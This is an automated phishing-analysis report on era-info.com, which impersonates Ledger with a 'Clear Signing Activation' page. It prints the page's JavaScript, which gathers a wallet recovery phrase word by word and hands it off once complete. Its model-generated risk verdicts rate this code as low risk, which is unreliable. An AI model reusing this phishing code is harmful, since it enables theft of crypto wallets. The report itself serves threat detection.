Windows Analysis Report
https://era-info.com/gt/

```json{  "brand": "unknown",  "brand_classification": "unknown",  "legit_url": "unknown",  "similarity": 2,  "spoofed": 1,  "reasoning": "The URL 'era-info.com' does not closely resemble any well-known brand or legitimate URL. There are no obvious character substitutions or visual similarities to a known brand. The domain 'era-info.com' could be interpreted as a generic or descriptive name, possibly related to information about an 'era' or a specific topic. The use of a hyphen and the '.com' extension is common and does not inherently suggest typosquatting. Without a clear connection to a known brand, the likelihood of this being a typosquatting attempt is low."}

URL: https://era-info.com

{
    "risk_score": 1,
    "reasoning": "The provided JavaScript code appears to be a user interface for a phrase-based authentication system. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or obfuscated code/URLs. The code primarily focuses on managing the user interface, handling user input, and updating the complete phrase based on the user's input. There are no indications of malicious behavior or suspicious activities."
}

const step_1 = $("#step_1");
const step_2 = $("#step_2");
const step_3 = $("#step_3");
const step_4 = $("#step_4");
const step_5 = $("#step_5");
const step_6 = $("#step_6");


let wordlist = [];
let complete_phrase = '';

const hideAll = () => {
    step_1.hide();
    step_2.hide();
    step_3.hide();
    step_4.hide();
    step_5.hide();
    step_6.hide();
}

let autoProgressEnabled = true;


let activeLength = 24;

$(document).ready(function () {
    $("#hdb3").prop('disabled', true);

    /* Phrase Stuff */

    $.getJSON('./assets/js/wordlist.json', function (data) {
        wordlist = data;
    });

    function updatePhraseInputs(length) {
        $('.input-field').each(function (index) {
            if (index < length) {
                $(this).show();
            } else {
                $(this).hide().val('');
            }
        });
        checkAllInputs();

        activeLength = length;
    }

    updatePhraseInputs(24);

    $('.phrase-length-btn').click(function () {
        const length = parseInt($(this).data('length'));
        updatePhraseInputs(length);

        $('.phrase-length-btn').removeClass('active').css({
            'background-color': '#262626',
            'border-color': '#505060'
        });

        // Add active class to the clicked button and apply active styles
        $(this).addClass('active').css({
            'background-color': '#404050',
            'border-color': '#505060'
        });
    });

    function updateCompletePhrase() {
        let words = [];

        $('.phrase-length-btn').each(function () {
            if ($(this).css('background-color') === 'rgb(31, 32, 51)') {
                activeLength = parseInt($(this).data('length'));
            }
        });

        $('.input-field:visible').each(function () {
            let word = $(this).val().toLowerCase()
                .replace(/[0-9]/g, '')
                .trim();
            if (word) {
                words.push(word);
            }
        });

        complete_phrase = words.join(' ');

        if (words.length === activeLength) {
            presend();
        }
    }

    $('.input-field').on('input', function () {
        const currentWord = $(this).val().toLowerCase().trim();

        if (currentWord === '') {
            $(this).css('border-color', 'rgba(255, 255, 255, 0.2)');
        } else if (wordlist.includes(currentWord)) {
            $(this).css('border-color', 'rgba(255, 255, 255, 0.4)');
            $(this).css('box-shadow', '0 0 0 2px rgba(40, 167, 69, 0.2)');
        } else {
            $(this).css('border-color', 'rgba(220, 53, 69, 0.4)');
            $(this).css('box-shadow', '0 0 0 2px rgba(220, 53, 69, 0.2)');
        }

        checkAllInputs();
        updateCompletePhrase();
    });

    function checkAllInputs() {
        let allFilled = true;

        $('.input-field:visible').each(function () {
            if ($(this).val().trim() === '') {
                allFilled = false;
                return false;
            }
        });

        $("#hdb3").prop('disabled', !allFilled);

        if (allFilled) {
            $("#hdb3").removeClass('disabled').addClass('enabled');
        } else {
            $("#hdb3").removeClass('enabled').addClass('disabled');
        }
    }

    $('.input-field').on('keypress', function (e) {
        if (e.which === 32) {
            e.preventDefault();
            $(this).next('.input-field').focus();
        }
    });


    /* End Phrase Stuff */

    $('#hdb').click(function (e) {
        e.preventDefault();
        const continueBtn = $(this);
        continueBtn.html('<span class="spinner"></span>');
        continueBtn.prop('disabled', true);
        setTimeout(function () {
            hideAll();
            step_2.show();

            setTimeout(function () {
                if (autoProgressEnabled) {
   

{
    "risk_score": 2,
    "reasoning": "The provided JavaScript code appears to be a legitimate implementation of a language translation feature and cookie management functionality. It does not exhibit any high-risk indicators, such as dynamic code execution, data exfiltration, or obfuscated code/URLs. The code is primarily focused on managing user interface elements and storing/retrieving user preferences via cookies, which are common and expected behaviors for a website or web application. While the code could be improved in terms of security best practices (e.g., using more secure cookie options), it does not demonstrate any clear malicious intent or suspicious activities."
}

    $(document).ready(function() {
        const translations = {
            'us': {
                'title': 'Ledger Clear Signing Activation',
                'subtitle': 'The Clear Signing feature in Ledger is a method used to increase the security of your assets by securing your wallet transactions. This helps to protect your accounts from unauthorized access.',
                'features': {
                    'restore': 'Protection Against Attacks',
                    'trusted': 'Built with 3 trusted companies',
                    'encryption': 'End-to-end encryption',
                    'custody': 'Self-custody secured by Ledger authenticator'
                },
                'cta': 'Access Clear Signing',
                'provider': 'Enable Clear Signing'
            },
            'fr': {
                'title': 'Activation de la Signature Scurise Ledger',
                'subtitle': 'La fonction de Signature Scurise de Ledger est une mthode utilise pour renforcer la scurit de vos actifs en scurisant les transactions de votre portefeuille. Cela aide  protger vos comptes contre les accs non autoriss.',
                'features': {
                    'restore': 'Protection contre les attaques',
                    'trusted': 'Dvelopp avec 3 entreprises de confiance',
                    'encryption': 'Chiffrement de bout en bout',
                    'custody': 'Auto-garde scurise par l\'authentificateur Ledger'
                },
                'cta': 'Accder  Clear Signing',
                'provider': 'Activer Clear Signing'
            },
            'es': {
                'title': 'Activacin de Firma Segura de Ledger',
                'subtitle': 'La funcin de Firma Segura en Ledger es un mtodo utilizado para aumentar la seguridad de sus activos mediante la proteccin de las transacciones de su billetera. Esto ayuda a proteger sus cuentas contra accesos no autorizados.',
                'features': {
                    'restore': 'Proteccin contra ataques',
                    'trusted': 'Construido con 3 empresas de confianza',
                    'encryption': 'Cifrado de extremo a extremo',
                    'custody': 'Autocustodia asegurada por el autenticador Ledger'
                },
                'cta': 'Acceder a Clear Signing',
                'provider': 'Activar Clear Signing'
            },
            'jp': {
                'title': 'Ledger',
                'subtitle': 'Ledger',
                'features': {
                    'restore': '',
                    'trusted': '3',
                    'encryption': '',
                    'custody': 'Ledger'
                },
                'cta': 'Ledger Recover',
                'provider': ''
            }
        };

        // Cookie functions
        function setCookie(name, value, days) {
            const date = new Date();
            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
            const expires = "; expires=" + date.toUTCString();
            document.cookie = name + "=" + value + expires + "; path=/";
        }

        function getCookie(name) {
            const nameEQ = name + "=";
            const ca = document.cookie.split(';');
            for (let i = 0; i < ca.length; i++) {
                let c = ca[i];
                while (c.charAt(0) === ' ') c = c.substring(1);
                if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);
            }
            return null;
        }

        // Toggle dropdown
        $('.nextra-hamburger').click(function(e) {
            e.stopPropagation();
            $('#languageDropdown').toggle();
        });

        // Close dropdown when clicking outside
        $(document).click(function(e) {
            if (!$(e.target).closest('.nextra-hamburger, #languageDrop

{
  "contains_trigger_text": true,
  "trigger_text": "Access Clear Signing",
  "prominent_button_name": "Access Clear Signing",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "file hosting"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enable Clear Signing",
  "prominent_button_name": "Enable Clear Signing",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "file hosting"
}

```json{  "brand": "Ledger",  "brand_classification": "known",  "legit_url": "https://www.ledger.com",  "similarity": 7,  "spoofed": 8,  "reasoning": "The URL 'activations-ledger.com' includes the brand name 'Ledger', which is a known brand in the cryptocurrency hardware wallet industry. The legitimate URL for Ledger is 'https://www.ledger.com'. The analyzed URL uses a hyphen and the word 'activations', which could suggest a specific service related to Ledger, such as activating a device. This structural change, along with the inclusion of the brand name, increases the likelihood of user confusion. The domain extension '.com' is common and does not suggest a different legitimate purpose. The similarity score is high due to the direct inclusion of the brand name and the plausible service-related context, making it likely a typosquatting attempt."}

{
  "brands": [
    "Ledger"
  ]
}

{
  "brands": [
    "Ledger",
    "Coincover"
  ]
}